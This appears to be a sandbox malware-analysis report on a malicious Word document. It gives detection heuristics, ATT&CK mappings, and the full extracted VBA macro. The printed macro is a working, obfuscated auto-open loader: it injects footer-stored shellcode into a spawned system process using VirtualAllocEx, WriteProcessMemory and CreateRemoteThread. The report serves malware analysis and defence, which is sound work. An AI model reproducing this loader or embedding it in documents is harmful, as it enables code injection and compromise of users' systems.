MALICIOUS
314
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1055.012 Process Injection: Process Hollowing
The sample is a malicious Office document containing VBA macros. The macros leverage several Windows API calls, including CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread, strongly indicating an attempt to inject malicious code into a running process. The presence of legacy WordBasic auto-exec markers and multiple VBA auto-execution macros further supports its malicious nature.
Heuristics 12
-
ClamAV: Doc.Macro.Injection-6355574-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.Injection-6355574-0
-
Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORYReference to WriteProcessMemory API
-
Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREADReference to CreateRemoteThread API
-
Reference to CreateProcess API high SC_STR_CREATEPROCESSReference to CreateProcess API
-
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Sub Sub AutoOpen() Auto_Open -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
End Sub Sub Workbook_Open() Auto_Open -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() Dim bit As Long, arr As Variant, off As Long -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
f = clean(f) If Len(Environ(Chr(80) & "r" & Chr(111) & "g" & Chr(114) & "a" & Chr(109) & "W" & Chr(54) & "4" & Chr(51) & Chr(50))) > 0 Then olives = Environ(Chr(119) & "i" & Chr(110) & Chr(100) & "i" & "r") & "\\" & "S" & "y" & Chr(115) & "W" & "O" & "W" & "6" & "4" & "\\" & f -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4598 bytes |
SHA-256: 8ca721ee8901cadc294067a1fd0a9707d0c3787e21e588f03a8390890eb13787 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Private Type PROC
pr As Long
gdfgs As Long
asdfasdf As Long
wqrwerfsae As Long
End Type
Private Type INFO
cb As Long
asdfasdf As String
asdfhfg As String
ouin As String
dtbd As Long
sdfvs As Long
nulim As Long
xbyju As Long
dwXCountChars As Long
dwYCountChars As Long
erctvtuuno As Long
jbuytbju As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
lmomgt As Long
hStdOutput As Long
hStdError As Long
End Type
#If VBA7 Then
Private Declare PtrSafe Function InsertFooter Lib "kernel32" Alias "CreateRemoteThread" (ByVal pr As Long, ByVal gerwcfgerwct As Long, ByVal ewrcterwctwe As Long, ByVal uyinuyit As LongPtr, qwrceeqwre As Long, ByVal omu9olnryu As Long, qertwqc As Long) As LongPtr
Private Declare PtrSafe Function CreateFooter Lib "kernel32" Alias "VirtualAllocEx" (ByVal pr As Long, ByVal gsdfgrsdr As Long, ByVal rgaegedg As Long, ByVal gasdfgasdf As Long, ByVal gaesrgear As Long) As LongPtr
Private Declare PtrSafe Function WriteFooter Lib "kernel32" Alias "WriteProcessMemory" (ByVal pr As Long, ByVal crefytrey As LongPtr, ByRef ervyertvy As Any, ByVal ikbedhrt As Long, ByVal ertcqxeerqw As LongPtr) As LongPtr
Private Declare PtrSafe Function ViewFooter Lib "kernel32" Alias "CreateProcessA" (ByVal gdfhdfsghs As String, ByVal sfghfshdh As String, hdhdfgsad As Any, jkukghjyg As Any, ByVal asdfwetry As Long, ByVal ioiuyio As Long, yuiort As Any, ByVal ertyer As String, erevcbc As INFO, ewymoikfgh As PROC) As Long
#Else
Private Declare Function InsertFooter Lib "kernel32" Alias "CreateRemoteThread" (ByVal pr As Long, ByVal gerwcfgerwct As Long, ByVal ewrcterwctwe As Long, ByVal uyinuyit As LongPtr, qwrceeqwre As Long, ByVal omu9olnryu As Long, qertwqc As Long) As Long
Private Declare Function CreateFooter Lib "kernel32" Alias "VirtualAllocEx" (ByVal pr As Long, ByVal gsdfgrsdr As Long, ByVal rgaegedg As Long, ByVal gasdfgasdf As Long, ByVal gaesrgear As Long) As Long
Private Declare Function WriteFooter Lib "kernel32" Alias "WriteProcessMemory" (ByVal pr As Long, ByVal crefytrey As LongPtr, ByRef ervyertvy As Any, ByVal ikbedhrt As Long, ByVal ertcqxeerqw As LongPtr) As Long
Private Declare Function ViewFooter Lib "kernel32" Alias "CreateProcessA" (ByVal gdfhdfsghs As String, ByVal sfghfshdh As String, hdhdfgsad As Any, jkukghjyg As Any, ByVal asdfwetry As Long, ByVal ioiuyio As Long, yuiort As Any, ByVal ertyer As String, erevcbc As INFO, ewymoikfgh As PROC) As Long
#End If
Function clean(s As String)
s = Replace(s, vbCr, " ")
s = Replace(s, vbLf, " ")
clean = Replace(s, vbCrLf, " ")
End Function
Sub Auto_Open()
Dim bit As Long, arr As Variant, off As Long
Dim bread As PROC
Dim olives As String
Dim cheese As INFO
Dim nil As String
#If VBA7 Then
Dim page As LongPtr, res As LongPtr
#Else
Dim page As Long, res As Long
#End If
Dim f As String
f = ActiveDocument.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text
f = clean(f)
arr = Split(f, ",")
For i = 0 To UBound(arr)
arr(i) = CInt(arr(i))
Next i
f = Trim(ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary).Range.Text)
f = clean(f)
If Len(Environ(Chr(80) & "r" & Chr(111) & "g" & Chr(114) & "a" & Chr(109) & "W" & Chr(54) & "4" & Chr(51) & Chr(50))) > 0 Then
olives = Environ(Chr(119) & "i" & Chr(110) & Chr(100) & "i" & "r") & "\\" & "S" & "y" & Chr(115) & "W" & "O" & "W" & "6" & "4" & "\\" & f
Else
olives = Environ("w" & "i" & Chr(110) & "d" & Chr(105) & Chr(114)) & "\\" & "S" & "y" & Chr(115) & "t" & Chr(101) & Chr(109) & "3" & Chr(50) & "\\" & f
End If
res = ViewFooter(nil, olives, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, nil, cheese, bread)
page = CreateFooter(bread.pr, 0, UBound(arr), &H1000, &H40)
For off = LBound(arr) To UBound(arr)
bit = arr(off)
res = WriteFooter(bread.pr, page + off, bit, 1, ByVal 0&)
Next off
res = InsertFooter(bread.pr, 0, 0, page, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.